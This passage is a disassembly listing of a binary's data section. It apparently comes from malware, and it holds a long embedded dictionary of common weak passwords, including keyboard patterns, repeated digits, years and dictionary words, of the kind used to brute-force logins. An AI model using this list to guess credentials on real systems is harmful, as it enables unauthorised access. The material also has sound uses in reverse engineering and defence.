'cccccccc',0 ; DATA XREF: .nsp0:0042B3A8o align 4 aCcccccc db 'ccccccc',0 ; DATA XREF: .nsp0:0042B3A4o aCccccc db 'cccccc',0 ; DATA XREF: .nsp0:0042B3A0o align 4 aCcccc db 'ccccc',0 ; DATA XREF: .nsp0:0042B39Co align 10h aCccc_0 db 'cccc',0 ; DATA XREF: .nsp0:0042B398o align 4 aCcc db 'ccc',0 ; DATA XREF: .nsp0:0042B394o aCc db 'cc',0 ; DATA XREF: .nsp0:0042B390o align 10h aC: ; DATA XREF: .nsp0:00406620o ; .nsp0:0042B38Co ... unicode 0, <c>,0 aBbbbbbbbb db 'bbbbbbbbb',0 ; DATA XREF: .nsp0:0042B388o align 10h aBbbbbbbb db 'bbbbbbbb',0 ; DATA XREF: .nsp0:0042B384o align 4 aBbbbbbb db 'bbbbbbb',0 ; DATA XREF: .nsp0:0042B380o aBbbbbb db 'bbbbbb',0 ; DATA XREF: .nsp0:0042B37Co align 4 aBbbbb db 'bbbbb',0 ; DATA XREF: .nsp0:0042B378o align 4 aBbbb db 'bbbb',0 ; DATA XREF: .nsp0:0042B374o align 4 aBbb db 'bbb',0 ; DATA XREF: .nsp0:0042B370o aBb db 'bb',0 ; DATA XREF: .nsp0:0042B36Co align 4 aB_0: ; DATA XREF: .nsp0:0042B368o ; .nsp0:0043FF30o unicode 0, <b>,0 aRfv db 'rfv',0 ; DATA XREF: .nsp0:0042B364o aEdc db 'edc',0 ; DATA XREF: .nsp0:0042B360o aWsx db 'wsx',0 ; DATA XREF: .nsp0:0042B35Co aQaz db 'qaz',0 ; DATA XREF: .nsp0:0042B358o aAsdfghjkl db 'asdfghjkl',0 ; DATA XREF: .nsp0:0042B354o align 4 aAsdfghjk db 'asdfghjk',0 ; DATA XREF: .nsp0:0042B350o align 10h aAsdfghj db 'asdfghj',0 ; DATA XREF: .nsp0:0042B34Co aAsdfgh db 'asdfgh',0 ; DATA XREF: .nsp0:0042B348o align 10h aAsdfg db 'asdfg',0 ; DATA XREF: .nsp0:0042B344o align 4 aAs db 'as',0 ; DATA XREF: .nsp0:0042B338o align 4 aZxcvbnm db 'zxcvbnm',0 ; DATA XREF: .nsp0:0042B334o aZxcvbn db 'zxcvbn',0 ; DATA XREF: .nsp0:0042B330o align 4 aZxcvb db 'zxcvb',0 ; DATA XREF: .nsp0:0042B32Co align 4 aZxc db 'zxc',0 ; DATA XREF: .nsp0:0042B324o aZx db 'zx',0 ; DATA XREF: .nsp0:0042B320o align 4 aZ: ; DATA XREF: .nsp0:0042B31Co ; .nsp0:0042B588o ... unicode 0, <z>,0 aKonyang db 'konyang',0 ; DATA XREF: .nsp0:0042B318o aToyota db 'TOYOTA',0 align 10h dd offset byte_524F4B dd 726F6Bh, 696863h, 494843h aSystem db 'system',0 ; DATA XREF: .nsp0:0042B608o align 4 aServices db 'services',0 align 4 aServers db 'servers',0 aServer db 'server',0 ; DATA XREF: .nsp0:00405974o align 4 aQwertyuiop db 'qwertyuiop',0 align 10h aQwertyuio db 'qwertyuio',0 align 4 aQwertyui db 'qwertyui',0 align 4 aQwertyu db 'qwertyu',0 aQwe db 'qwe',0 ; DATA XREF: .nsp0:0042B290o aQw db 'qw',0 ; DATA XREF: .nsp0:0042B28Co align 4 aPassword1 db 'password1',0 ; DATA XREF: .nsp0:0042B288o align 4 aPassword_0 db 'Password',0 ; DATA XREF: .nsp0:0042B284o align 10h aAaaaaaaaa db 'aaaaaaaaa',0 ; DATA XREF: .nsp0:0042B280o align 4 aAaaaaaaa db 'aaaaaaaa',0 ; DATA XREF: .nsp0:0042B27Co align 4 aAaaaaaa db 'aaaaaaa',0 ; DATA XREF: .nsp0:0042B278o aAaaaaa db 'aaaaaa',0 ; DATA XREF: .nsp0:0042B274o align 4 aAaaaa db 'aaaaa',0 ; DATA XREF: .nsp0:0042B270o align 10h aAaaa db 'aaaa',0 ; DATA XREF: .nsp0:0042B26Co align 4 aAa db 'aa',0 ; DATA XREF: .nsp0:004062A4o ; .nsp0:0042B264o align 4 aXp db 'XP',0 ; DATA XREF: .nsp0:0040AEE0o ; sub_41B2E4+AAo ... align 10h aNokia db 'NOKIA',0 ; DATA XREF: .nsp0:0042B258o align 4 aSex db 'SEX',0 ; DATA XREF: .nsp0:0042B254o aCreative db 'CREATIVE',0 ; DATA XREF: .nsp0:0042B250o align 4 aDisc_0 db 'DISC',0 ; DATA XREF: .nsp0:0042B24Co align 10h aMicrosoft db 'MICROSOFT',0 ; DATA XREF: .nsp0:0042B248o align 4 aMaster_0 db 'MASTER',0 ; DATA XREF: .nsp0:0042B244o align 4 aSony_0 db 'SONY',0 ; DATA XREF: .nsp0:0042B240o align 4 aSamsung db 'samsung',0 ; DATA XREF: .nsp0:0042B23Co aSamsung_0 db 'SAMSUNG',0 ; DATA XREF: .nsp0:0042B238o aSony db 'sony',0 ; DATA XREF: .nsp0:0042B234o align 4 a7654321 db '7654321',0 ; DATA XREF: .nsp0:0042B230o a4321 db '4321',0 ; DATA XREF: .nsp0:0042B224o align 4 a321 db '321',0 ; DATA XREF: .nsp0:0042B220o a2006 db '2006',0 ; DATA XREF: .nsp0:0042B218o align 10h a2005 db '2005',0 ; DATA XREF: .nsp0:0042B214o align 4 a2004 db '2004',0 ; DATA XREF: .nsp0:0042B210o align 10h a2001 db '2001',0 ; DATA XREF: .nsp0:0042B204o align 4 a2000 db '2000',0 ; DATA XREF: .nsp0:0042B200o align 10h a1999 db '1999',0 ; DATA XREF: .nsp0:0042B1FCo align 4 a1998 db '1998',0 ; DATA XREF: .nsp0:0042B1F8o align 10h a1997 db '1997',0 ; DATA XREF: .nsp0:0042B1F4o align 4 a1996 db '1996',0 ; DATA XREF: .nsp0:0042B1F0o align 10h a1995 db '1995',0 ; DATA XREF: .nsp0:0042B1ECo align 4 a1994 db '1994',0 ; DATA XREF: .nsp0:0042B1E8o align 10h a1993 db '1993',0 ; DATA XREF: .nsp0:0042B1E4o align 4 a1992 db '1992',0 ; DATA XREF: .nsp0:0042B1E0o align 10h a1991 db '1991',0 ; DATA XREF: .nsp0:0042B1DCo align 4 a1990 db '1990',0 ; DATA XREF: .nsp0:0042B1D8o align 10h a1989 db '1989',0 ; DATA XREF: .nsp0:0042B1D4o align 4 a1988 db '1988',0 ; DATA XREF: .nsp0:0042B1D0o align 10h a1987 db '1987',0 ; DATA XREF: .nsp0:0042B1CCo align 4 a1986 db '1986',0 ; DATA XREF: .nsp0:0042B1C8o align 10h a1985 db '1985',0 ; DATA XREF: .nsp0:0042B1C4o align 4 a1984 db '1984',0 ; DATA XREF: .nsp0:0042B1C0o align 10h a1983 db '1983',0 ; DATA XREF: .nsp0:0042B1BCo align 4 a1982 db '1982',0 ; DATA XREF: .nsp0:0042B1B8o align 10h a1981 db '1981',0 ; DATA XREF: .nsp0:0042B1B4o align 4 a1980 db '1980',0 ; DATA XREF: .nsp0:0042B1B0o align 10h a1979 db '1979',0 ; DATA XREF: .nsp0:0042B1ACo align 4 a1978 db '1978',0 ; DATA XREF: .nsp0:0042B1A8o align 10h a1977 db '1977',0 ; DATA XREF: .nsp0:0042B1A4o align 4 a1976 db '1976',0 ; DATA XREF: .nsp0:0042B1A0o align 10h a1975 db '1975',0 ; DATA XREF: .nsp0:0042B19Co align 4 a1974 db '1974',0 ; DATA XREF: .nsp0:0042B198o align 10h a1973 db '1973',0 ; DATA XREF: .nsp0:0042B194o align 4 a1972 db '1972',0 ; DATA XREF: .nsp0:0042B190o align 10h a1971 db '1971',0 ; DATA XREF: .nsp0:0042B18Co align 4 a1970 db '1970',0 ; DATA XREF: .nsp0:0042B188o align 10h a1969 db '1969',0 ; DATA XREF: .nsp0:0042B184o align 4 a1968 db '1968',0 ; DATA XREF: .nsp0:0042B180o align 10h a1967 db '1967',0 ; DATA XREF: .nsp0:0042B17Co align 4 a1966 db '1966',0 ; DATA XREF: .nsp0:0042B178o align 10h a1965 db '1965',0 ; DATA XREF: .nsp0:0042B174o align 4 a1964 db '1964',0 ; DATA XREF: .nsp0:0042B170o align 10h a1963 db '1963',0 ; DATA XREF: .nsp0:0042B16Co align 4 a1962 db '1962',0 ; DATA XREF: .nsp0:0042B168o align 10h a1961 db '1961',0 ; DATA XREF: .nsp0:0042B164o align 4 a1960 db '1960',0 ; DATA XREF: .nsp0:0042B160o align 10h a1959 db '1959',0 ; DATA XREF: .nsp0:0042B15Co align 4 a1958 db '1958',0 ; DATA XREF: .nsp0:0042B158o align 10h a1957 db '1957',0 ; DATA XREF: .nsp0:0042B154o align 4 a1956 db '1956',0 ; DATA XREF: .nsp0:0042B150o align 10h a1955 db '1955',0 ; DATA XREF: .nsp0:0042B14Co align 4 a1954 db '1954',0 ; DATA XREF: .nsp0:0042B148o align 10h a1953 db '1953',0 ; DATA XREF: .nsp0:0042B144o align 4 a1952 db '1952',0 ; DATA XREF: .nsp0:0042B140o align 10h a1234qwe db '1234qwe',0 ; DATA XREF: .nsp0:0042B13Co a1234asd db '1234asd',0 ; DATA XREF: .nsp0:0042B138o a1234abc db '1234abc',0 ; DATA XREF: .nsp0:0042B134o a123qwer db '123qwer',0 ; DATA XREF: .nsp0:0042B120o a12qwe db '12qwe',0 ; DATA XREF: .nsp0:0042B11Co align 4 a12asd db '12asd',0 ; DATA XREF: .nsp0:0042B118o align 10h a12abc db '12abc',0 ; DATA XREF: .nsp0:0042B114o align 4 a12qwer db '12qwer',0 ; DATA XREF: .nsp0:0042B110o align 10h a1qwe db '1qwe',0 ; DATA XREF: .nsp0:0042B10Co align 4 a1asd db '1asd',0 ; DATA XREF: .nsp0:0042B108o align 10h a1abc db '1abc',0 ; DATA XREF: .nsp0:0042B104o align 4 a1qwer db '1qwer',0 ; DATA XREF: .nsp0:0042B100o align 10h a123467890 db '123467890',0 ; DATA XREF: .nsp0:0042B0FCo align 4 a12346789 db '12346789',0 ; DATA XREF: .nsp0:0042B0F8o align 4 a1234678 db '1234678',0 ; DATA XREF: .nsp0:0042B0F4o a123467 db '123467',0 ; DATA XREF: .nsp0:0042B0F0o align 4 a12346 db '12346',0 ; DATA XREF: .nsp0:0042B0ECo align 10h a121 db '121',0 ; DATA XREF: .nsp0:0042B0C4o a1020 db '1020',0 ; DATA XREF: .nsp0:0042B0BCo align 4 a0258 db '0258',0 ; DATA XREF: .nsp0:0042B0B8o align 4 a8520 db '8520',0 ; DATA XREF: .nsp0:0042B0B4o align 4 a987 db '987',0 ; DATA XREF: .nsp0:0042B0B0o a789 db '789',0 ; DATA XREF: .nsp0:0042B0ACo a654 db '654',0 ; DATA XREF: .nsp0:0042B0A8o a456 db '456',0 ; DATA XREF: .nsp0:0042B0A4o a1122 db '1122',0 ; DATA XREF: .nsp0:0042B0A0o align 4 a0147 db '0147',0 ; DATA XREF: .nsp0:0042B09Co align 4 a7410 db '7410',0 ; DATA XREF: .nsp0:0042B098o align 4 a9999999999 db '9999999999',0 ; DATA XREF: .nsp0:0042B090o align 10h a999999999 db '999999999',0 ; DATA XREF: .nsp0:0042B08Co align 4 a99999999 db '99999999',0 ; DATA XREF: .nsp0:0042B088o align 4 a9999999 db '9999999',0 ; DATA XREF: .nsp0:0042B084o a999999 db '999999',0 ; DATA XREF: .nsp0:0042B080o align 4 a99999 db '99999',0 ; DATA XREF: .nsp0:0042B07Co align 10h a9999 db '9999',0 ; DATA XREF: .nsp0:0042B078o align 4 a999 db '999',0 ; DATA XREF: .nsp0:0042B074o a99 db '99',0 ; DATA XREF: .nsp0:0042B070o align 10h a9: ; DATA XREF: .nsp0:0042B06Co unicode 0, <9>,0 a8888888888 db '8888888888',0 ; DATA XREF: .nsp0:0042B068o align 10h a888888888 db '888888888',0 ; DATA XREF: .nsp0:0042B064o align 4 a8888888 db '8888888',0 ; DATA XREF: .nsp0:0042B05Co a888888 db '888888',0 ; DATA XREF: .nsp0:0042B058o align 4 a88888 db '88888',0 ; DATA XREF: .nsp0:0042B054o align 4 a8888 db '8888',0 ; DATA XREF: .nsp0:0042B050o align 4 a888 db '888',0 ; DATA XREF: .nsp0:0042B04Co a88 db '88',0 ; DATA XREF: .nsp0:0042B048o align 4 a8: ; DATA XREF: .nsp0:0042B044o unicode 0, <8>,0 a7777777777 db '7777777777',0 ; DATA XREF: .nsp0:0042B040o align 4 a777777777 db '777777777',0 ; DATA XREF: .nsp0:0042B03Co align 10h a77777777 db '77777777',0 ; DATA XREF: .nsp0:0042B038o align 4 a7777777 db '7777777',0 ; DATA XREF: .nsp0:0042B034o a777777 db '777777',0 ; DATA XREF: .nsp0:0042B030o align 4 a77777 db '77777',0 ; DATA XREF: .nsp0:0042B02Co align 4 a7777 db '7777',0 ; DATA XREF: .nsp0:0042B028o align 4 a777 db '777',0 ; DATA XREF: .nsp0:0042B024o a77 db '77',0 ; DATA XREF: .nsp0:0042B020o align 4 a7: ; DATA XREF: .nsp0:0042B01Co unicode 0, <7>,0 a6666666666 db '6666666666',0 ; DATA XREF: .nsp0:0042B018o align 4 a666666666 db '666666666',0 ; DATA XREF: .nsp0:0042B014o align 10h a66666666 db '66666666',0 ; DATA XREF: .nsp0:0042B010o align 4 a6666666 db '6666666',0 ; DATA XREF: .nsp0:0042B00Co a666666 db '666666',0 ; DATA XREF: .nsp0:0042B008o align 4 a66666 db '66666',0 ; DATA XREF: .nsp0:0042B004o align 4 a6666 db '6666',0 ; DATA XREF: .nsp0:0042B000o align 4 a666 db '666',0 ; DATA XREF: .nsp0:0042AFFCo a66 db '66',0 ; DATA XREF: .nsp0:0042AFF8o align 4 a6: ; DATA XREF: .nsp0:0042AFF4o unicode 0, <6>,0 a5555555555 db '5555555555',0 ; DATA XREF: .nsp0:0042AFF0o align 4 a555555555 db '555555555',0 ; DATA XREF: .nsp0:0042AFECo align 10h a55555555 db '55555555',0 ; DATA XREF: .nsp0:0042AFE8o align 4 a5555555 db '5555555',0 ; DATA XREF: .nsp0:0042AFE4o a555555 db '555555',0 ; DATA XREF: .nsp0:0042AFE0o align 4 a55555 db '55555',0 ; DATA XREF: .nsp0:0042AFDCo align 4 a5555 db '5555',0 ; DATA XREF: .nsp0:0042AFD8o align 4 a555 db '555',0 ; DATA XREF: .nsp0:0042AFD4o a55 db '55',0 ; DATA XREF: .nsp0:0042AFD0o align 4 a5: ; DATA XREF: .nsp0:0042AFCCo unicode 0, <5>,0 a4444444444 db '4444444444',0 ; DATA XREF: .nsp0:0042AFC8o align 4 a444444444 db '444444444',0 ; DATA XREF: .nsp0:0042AFC4o align 10h a44444444 db '44444444',0 ; DATA XREF: .nsp0:0042AFC0o align 4 a4444444 db '4444444',0 ; DATA XREF: .nsp0:0042AFBCo a444444 db '444444',0 ; DATA XREF: .nsp0:0042AFB8o align 4 a44444 db '44444',0 ; DATA XREF: .nsp0:0042AFB4o align 4 a4444 db '4444',0 ; DATA XREF: .nsp0:0042AFB0o align 4 a444 db '444',0 ; DATA XREF: .nsp0:0042AFACo a44 db '44',0 ; DATA XREF: .nsp0:0042AFA8o align 4 a4: ; DATA XREF: .nsp0:0042AFA4o unicode 0, <4>,0 a3333333333 db '3333333333',0 ; DATA XREF: .nsp0:0042AFA0o align 4 a333333333 db '333333333',0 ; DATA XREF: .nsp0:0042AF9Co align 10h a33333333 db '33333333',0 ; DATA XREF: .nsp0:0042AF98o align 4 a3333333 db '3333333',0 ; DATA XREF: .nsp0:0042AF94o a333333 db '333333',0 ; DATA XREF: .nsp0:0042AF90o align 4 a33333 db '33333',0 ; DATA XREF: .nsp0:0042AF8Co align 4 a3333 db '3333',0 ; DATA XREF: .nsp0:0042AF88o align 4 a333 db '333',0 ; DATA XREF: .nsp0:0042AF84o a33 db '33',0 ; DATA XREF: .nsp0:0042AF80o align 4 a3: ; DATA XREF: .nsp0:0042AF7Co unicode 0, <3>,0 a2222222222 db '2222222222',0 ; DATA XREF: .nsp0:0042AF78o align 4 a222222222 db '222222222',0 ; DATA XREF: .nsp0:0042AF74o align 10h a22222222 db '22222222',0 ; DATA XREF: .nsp0:0042AF70o align 4 a2222222 db '2222222',0 ; DATA XREF: .nsp0:0042AF6Co a222222 db '222222',0 ; DATA XREF: .nsp0:0042AF68o align 4 a22222 db '22222',0 ; DATA XREF: .nsp0:0042AF64o align 4 a2222 db '2222',0 ; DATA XREF: .nsp0:0042AF60o align 4 a222 db '222',0 ; DATA XREF: .nsp0:0042AF5Co a22 db '22',0 ; DATA XREF: .nsp0:0042AF58o align 4 a2: ; DATA XREF: .nsp0:0042AF54o unicode 0, <2>,0 a1111111111 db '1111111111',0 ; DATA XREF: .nsp0:0042AF50o align 4 a111111111 db '111111111',0 ; DATA XREF: .nsp0:0042AF4Co align 10h a1111111 db '1111111',0 ; DATA XREF: .nsp0:0042AF44o a11111 db '11111',0 ; DATA XREF: .nsp0:0042AF3Co align 10h a1111 db '1111',0 ; DATA XREF: .nsp0:0042AF38o align 4 a11 db '11',0 ; DATA XREF: .nsp0:0042AF30o align 4 a010 db '010',0 ; DATA XREF: .nsp0:0042AF20o a009 db '009',0 ; DATA XREF: .nsp0:0042AF1Co a008 db '008',0 ; DATA XREF: .nsp0:0042AF18o a006 db '006',0 ; DATA XREF: .nsp0:0042AF10o a005 db '005',0 ; DATA XREF: .nsp0:00401D8Ao ; .nsp0:0042AF0Co a004 db '004',0 ; DATA XREF: .nsp0:0042AF08o a003 db '003',0 ; DATA XREF: .nsp0:0042AF04o a002 db '002',0 ; DATA XREF: .nsp0:0042AF00o a001 db '001',0 ; DATA XREF: .nsp0:00401D75o ; .nsp0:0042AEFCo asc_42C1B0 db '*********',0 ; DATA XREF: .nsp0:0042AEF8o align 4 asc_42C1BC db '********',0 ; DATA XREF: .nsp0:0042AEF4o align 4 asc_42C1C8 db '*******',0 ; DATA XREF: .nsp0:0042AEF0o asc_42C1D0 db '******',0 ; DATA XREF: .nsp0:0042AEECo align 4 asc_42C1D8 db '*****',0 ; DATA XREF: .nsp0:0042AEE8o align 10h asc_42C1E0 db '****',0 ; DATA XREF: .nsp0:0042AEE4o align 4 asc_42C1E8 db '***',0 ; DATA XREF: .nsp0:0042AEE0o asc_42C1EC db '**',0 ; DATA XREF: .nsp0:0042AEDCo align 10h asc_42C1F0: ; DATA XREF: .nsp0:0040FFC5o ; .nsp0:0042AED8o unicode 0, <*>,0 a0000000000 db '0000000000',0 ; DATA XREF: .nsp0:0042AED4o align 10h a000000000 db '000000000',0 align 4 a@ db '@!',0 align 10h a@_0 db '#@!',0 a@_1 db '$#@!',0 align 4 a@_2 db '%$#@!',0 align 4 a@_3 db '^%$#@!',0 align 4 a@_4 db '&^%$#@!',0 a@_5 db '*&^%$#@!',0 align 10h db '$$$',0 db '$$',0 align 4 unicode 0, <$>,0 a456_0 db '456+',0 align 4 a789_0 db '789+',0 align 4 a0 db '=-0',0 db '--++',0 align 4 db '-+',0 align 4 db '----',0 align 4 db '--',0 align 4 unicode 0, <->,0 db '++++',0 align 4 db '+++',0 db '++',0 align 4 unicode 0, <+>,0 a@@ db '@@',0 ; DATA XREF: .nsp0:0042AE54o align 4 a@_6: ; DATA XREF: .nsp0:00401DAFo unicode 0, <@>,0 dd offset loc_40211F+2 dd 2121h dword_42C2A0 dd 23h, 24234021h, 2A265E25h, 0 ; sub_40C98B+1Bo dd 24234021h, 265E25h, 24234021h, 5E25h, 24234021h, 25h dd 234021h, 4021h dword_42C2D0 dd 21h, 25h, 6D6D697Ah, 616D7265h, 6Eh ; .nsp0:004097DEo dword_42C2E4 dd 70617Ah aYellowstone db 'yellowstone',0 ; DATA XREF: .nsp0:0042AE18o aXyz db 'xyz',0 ; DATA XREF: .nsp0:0042AE14o aWisconsin db 'wisconsin',0 align 4 aWilliamsburg db 'williamsburg',0 align 4 aWholesale db 'wholesale',0 align 10h aTty db 'tty',0 aTopography db 'topography',0 align 10h aTemptation db 'temptation',0 align 4 aTelephone db 'telephone',0 align 4 aTangerine db 'tangerine',0 align 4 aSys db 'sys',0 aSupported db 'supported',0 align 4 aSuperuser db 'superuser',0 align 10h aSuperstage db 'superstage',0 align 4 aSun db 'sun',0 aStuttgart db 'stuttgart',0 align 4 aStratford db 'stratford',0 align 4 aStephanie db 'stephanie',0 align 4 aSignature db 'signature',0 align 10h aSheffield db 'sheffield',0 align 4 aSal db 'sal',0 aRochester db 'rochester',0 align 4 aRje db 'rje',0 aRachmaninoff db 'rachmaninoff',0 align 10h aPub db 'pub',0 aProfessor db 'professor',0 align 10h aPrinceton db 'princeton',0 align 4 aPondering db 'pondering',0 align 4 aPolynomial db 'polynomial',0 align 4 aPersimmon db 'persimmon',0 align 10h aPercolate db 'percolate',0 align 4 aPam db 'pam',0 aPad db 'pad',0 aOceanography db 'oceanography',0 align 4 aNutrition db 'nutrition',0 align 10h aNew db 'new',0 aNet db 'net',0 ; DATA XREF: .nsp0:00405F5Ao aMit db 'mit',0 aMgr db 'mgr',0 aMacintosh db 'macintosh',0 align 4 aLiz db 'liz',0 aLee db 'lee',0 aLamination db 'lamination',0 align 10h aKim db 'kim',0 aKey db 'key',0 ; DATA XREF: .nsp0:00403347o aJoy db 'joy',0 aJen db 'jen',0 aInnocuous db 'innocuous',0 align 4 aImbroglio db 'imbroglio',0 align 4 aIbm db 'ibm',0 aHappening db 'happening',0 align 4 aHal db 'hal',0 aGnu db 'gnu',0 aFun db 'fun',0 aForesight db 'foresight',0 align 10h aFoolproof db 'foolproof',0 align 4 aExtension db 'extension',0 ; DATA XREF: .nsp0:0042AD38o align 4 aEstablish db 'establish',0 ; DATA XREF: .nsp0:0042AD34o align 4 aEnterprise db 'enterprise',0 ; DATA XREF: .nsp0:0042AD30o align 10h aElizabeth db 'elizabeth',0 ; DATA XREF: .nsp0:0042AD2Co align 4 aEiderdown db 'eiderdown',0 ; DATA XREF: .nsp0:0042AD28o align 4 aEdinburgh db 'edinburgh',0 ; DATA XREF: .nsp0:0042AD24o align 4 aDos db 'dos',0 ; DATA XREF: .nsp0:0042AD20o aDog db 'dog',0 ; DATA XREF: .nsp0:0042AD1Co aDiscovery db 'discovery',0 ; DATA XREF: .nsp0:0042AD18o align 4 aDesperate db 'desperate',0 ; DATA XREF: .nsp0:0042AD14o align 4 aDeb db 'deb',0 ; DATA XREF: .nsp0:0042AD10o aCornelius db 'cornelius',0 ; DATA XREF: .nsp0:0042AD0Co align 4 aCommrades db 'commrades',0 ; DATA XREF: .nsp0:0042AD08o align 10h aChristine db 'christine',0 ; DATA XREF: .nsp0:0042AD04o align 4 aChristina db 'christina',0 ; DATA XREF: .nsp0:0042AD00o align 4 aChemistry db 'chemistry',0 ; DATA XREF: .nsp0:0042ACFCo align 4 aCatherine db 'catherine',0 ; DATA XREF: .nsp0:0042ACF8o align 10h aCat db 'cat',0 ; DATA XREF: .nsp0:0042ACF4o aCampanile db 'campanile',0 ; DATA XREF: .nsp0:0042ACF0o align 10h aCad db 'cad',0 ; DATA XREF: .nsp0:0042ACECo aBsd db 'bsd',0 ; DATA XREF: .nsp0:0042ACE8o aBob db 'bob',0 ; DATA XREF: .nsp0:0042ACE4o aBicameral db 'bicameral',0 ; DATA XREF: .nsp0:0042ACE0o align 4 aBeethoven db 'beethoven',0 ; DATA XREF: .nsp0:0042ACDCo align 4 aAtmosphere db 'atmosphere',0 ; DATA XREF: .nsp0:0042ACD8o align 10h aAsm db 'asm',0 ; DATA XREF: .nsp0:0042ACD4o aAsd db 'asd',0 ; DATA XREF: .nsp0:0042ACD0o ; .nsp0:0042B33Co aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .nsp0:0042ACCCo align 4 aAnn db 'ann',0 ; DATA XREF: .nsp0:0042ACC8o aAndromache db 'andromache',0 ; DATA XREF: .nsp0:0042ACC4o align 4 aAmy db 'amy',0 ; DATA XREF: .nsp0:0042ACC0o aAmorphous db 'amorphous',0 ; DATA XREF: .nsp0:0042ACBCo align 4 aAma db 'ama',0 ; DATA XREF: .nsp0:0042ACB8o aAlf db 'alf',0 ; DATA XREF: .nsp0:0042ACB4o aAlbatross db 'albatross',0 ; DATA XREF: .nsp0:0042ACB0o align 4 aAda db 'ada',0 ; DATA XREF: .nsp0:0042ACACo aH4x0ring db 'h4x0ring',0 ; DATA XREF: .nsp0:0042ACA8o align 4 aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .nsp0:0042ACA4o align 4 aH4x1ng db 'h4x1ng',0 ; DATA XREF: .nsp0:0042ACA0o align 10h aHaxing db 'haxing',0 ; DATA XREF: .nsp0:0042AC9Co align 4 aHax db 'hax',0 ; DATA XREF: .nsp0:0042AC98o aWh0re db 'wh0re',0 ; DATA XREF: .nsp0:0042AC94o align 4 aHo db 'ho',0 ; DATA XREF: .nsp0:0042AC90o align 4 aWh0r3 db 'wh0r3',0 ; DATA XREF: .nsp0:0042AC8Co align 10h aWindoze95 db 'windoze95',0 ; DATA XREF: .nsp0:0042AC88o align 4 aWindoze98 db 'windoze98',0 ; DATA XREF: .nsp0:0042AC84o align 4 aWindozeme db 'windozeME',0 ; DATA XREF: .nsp0:0042AC80o align 4 aWindoze2k db 'windoze2k',0 ; DATA XREF: .nsp0:0042AC7Co align 10h aWindozexp db 'windozexp',0 ; DATA XREF: .nsp0:0042AC78o align 4 aWindows95 db 'windows95',0 ; DATA XREF: .nsp0:0042AC74o align 4 aWindows98 db 'windows98',0 ; DATA XREF: .nsp0:0042AC70o align 4 aWindowsme db 'windowsME',0 ; DATA XREF: .nsp0:0042AC6Co align 10h aWindows2k db 'windows2k',0 ; DATA XREF: .nsp0:0042AC68o align 4 aWindowsxp db 'WindowsXP',0 ; DATA XREF: .nsp0:0042AC64o align 4 aMs db 'MS',0 ; DATA XREF: .nsp0:0042AC60o align 4 aM_2 db 'M$',0 ; DATA XREF: .nsp0:0042AC5Co align 10h aBilly db 'billy',0 ; DATA XREF: .nsp0:0042AC58o align 4 aWindose db 'windose',0 ; DATA XREF: .nsp0:0042AC54o aWindoze db 'windoze',0 ; DATA XREF: .nsp0:0042AC50o aWindowz db 'windowz',0 ; DATA XREF: .nsp0:0042AC4Co aWileecoyote db 'wileecoyote',0 ; DATA XREF: .nsp0:0042AC48o aDonaldduck db 'donaldduck',0 ; DATA XREF: .nsp0:0042AC44o align 4 aAlexander db 'Alexander',0 ; DATA XREF: .nsp0:0042AC40o align 4 aAl3x db 'Al3x',0 ; DATA XREF: .nsp0:0042AC3Co align 4 aDud3 db 'dud3',0 ; DATA XREF: .nsp0:0042AC38o align 4 aDudette db 'dudette',0 ; DATA XREF: .nsp0:0042AC34o aD00d db 'd00d',0 ; DATA XREF: .nsp0:0042AC30o align 4 aLol db 'lol',0 ; DATA XREF: .nsp0:0042AC2Co aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .nsp0:0042AC28o align 4 aRoscop db 'RoscoP',0 ; DATA XREF: .nsp0:0042AC24o align 10h aRosco db 'Rosco',0 ; DATA XREF: .nsp0:0042AC20o align 4 aRoss db 'Ross',0 ; DATA XREF: .nsp0:0042AC1Co align 10h aTestin db 'testin',0 ; DATA XREF: .nsp0:0042AC18o align 4 aTester db 'tester',0 ; DATA XREF: .nsp0:0042AC14o align 10h a00000000 db '00000000',0 ; DATA XREF: .nsp0:0042AC10o align 4 aZulu db 'zulu',0 ; DATA XREF: .nsp0:0042AC0Co align 4 aZombie db 'zombie',0 ; DATA XREF: .nsp0:0042AC08o align 4 aZmodem db 'zmodem',0 ; DATA XREF: .nsp0:0042AC04o align 4 aZimmerma db 'zimmerma',0 ; DATA XREF: .nsp0:0042AC00o align 10h aZiggy db 'ziggy',0 ; DATA XREF: .nsp0:0042ABFCo align 4 aZeitgeis db 'zeitgeis',0 ; DATA XREF: .nsp0:0042ABF8o align 4 aZebra db 'zebra',0 ; DATA XREF: .nsp0:0042ABF4o align 4 aYoung db 'young',0 ; DATA XREF: .nsp0:0042ABF0o align 4 aYosemite db 'yosemite',0 ; DATA XREF: .nsp0:0042ABECo align 10h aYolanda db 'yolanda',0 ; DATA XREF: .nsp0:0042ABE8o aYellowst db 'yellowst',0 ; DATA XREF: .nsp0:0042ABE4o align 4 aYellow db 'yellow',0 ; DATA XREF: .nsp0:0042ABE0o align 4 aYankee db 'yankee',0 ; DATA XREF: .nsp0:0042ABDCo align 4 aYang db 'yang',0 ; DATA XREF: .nsp0:0042ABD8o ; .nsp0:0042B314o align 4 aYaco db 'yaco',0 ; DATA XREF: .nsp0:0042ABD4o ; .nsp0:0042B310o align 4 aXyzzy db 'xyzzy',0 ; DATA XREF: .nsp0:0042ABD0o align 4 aXray db 'xray',0 ; DATA XREF: .nsp0:0042ABCCo align 4 aXmodem db 'xmodem',0 ; DATA XREF: .nsp0:0042ABC8o align 4 aXmen db 'xmen',0 ; DATA XREF: .nsp0:0042ABC4o align 4 aXman db 'xman',0 ; DATA XREF: .nsp0:0042ABC0o align 4 aXfer db 'xfer',0 ; DATA XREF: .nsp0:0042ABBCo align 4 aXena db 'xena',0 ; DATA XREF: .nsp0:0042ABB8o align 4 aWyoming db 'wyoming',0 ; DATA XREF: .nsp0:0042ABB4o aWwii db 'wwii',0 ; DATA XREF: .nsp0:0042ABB0o align 4 aWormwood db 'wormwood',0 ; DATA XREF: .nsp0:0042ABACo align 4 aWorm db 'worm',0 ; DATA XREF: .nsp0:0042ABA8o align 10h aWork db 'work',0 ; DATA XREF: .nsp0:0042ABA4o align 4 aWorf db 'worf',0 ; DATA XREF: .nsp0:0042ABA0o align 10h aWordperf db 'wordperf',0 ; DATA XREF: .nsp0:0042AB9Co align 4 aWord db 'word',0 ; DATA XREF: .nsp0:0042AB98o align 4 aWoodwind db 'woodwind',0 ; DATA XREF: .nsp0:0042AB94o align 10h aWood db 'wood',0 ; DATA XREF: .nsp0:0042AB90o align 4 aWomen db 'women',0 ; DATA XREF: 